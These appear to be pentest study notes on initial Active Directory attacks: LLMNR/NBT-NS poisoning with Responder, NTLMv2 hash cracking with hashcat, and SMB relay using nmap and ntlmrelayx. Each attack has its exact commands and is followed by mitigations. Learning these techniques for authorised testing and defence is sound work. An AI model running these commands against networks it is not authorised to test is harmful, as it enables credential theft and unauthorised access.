Attacking active directory : Initial attack vectors

LLMNR Poisoning :

- used to indentify hosts when DNS fails to do so
- Previously NBT-NS
- Key flaw is that the services utilize a user’s username and NTLMv2 hash when appropriately responded to
- tool → responder
  - python Responder.py -I eth0 -dwPV
  - now it will generate an ip go and paste it on machine in user1
  - you will get the username,ip and hash now go and crack it
- make a file and save the hash
- tool → hashcat
  - hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt

Mitigation :

- disable LLMNR and NBT-NS
  - windows server > group policy management > edit existing policy > policies > administrative templates > network > dns client > turn off milticast name resolution [at the bottom] > enable > apply

- If a company must use or can not disable LLMNR/NBT-NS, the best course of action is to :
  - require Network Access Control

- Require a long strong user password

SMB Relay :

- instead of cracking hashes gathered with the responder, we can instead relay those hashes to specific machine and potentially gain access
- requirements :
  - SMB signing must be disable or not enforced on the target
  - Relayed user credentials must be admin on machine for any real value
- identify hosts without SMB signing
  - tool → nmap
  - nmap - - script=smb2-security-mode.nse -p445 [domain controller ip and then user ip] -Pn
  - nano target.txt
    - paste the ip

change responder confg

- mousepad /etc/responder/Responder.conf
- switch off SMB, HTTP
- verify → responder -I eth0 -dwPV

set up your relay :

- ntlmrelayx.py -tf targets.txt -smb2support

Mitigation :

- enable SMB signing on all devices
- disable NTLM authentication on network
- account tiering
- local admin restriction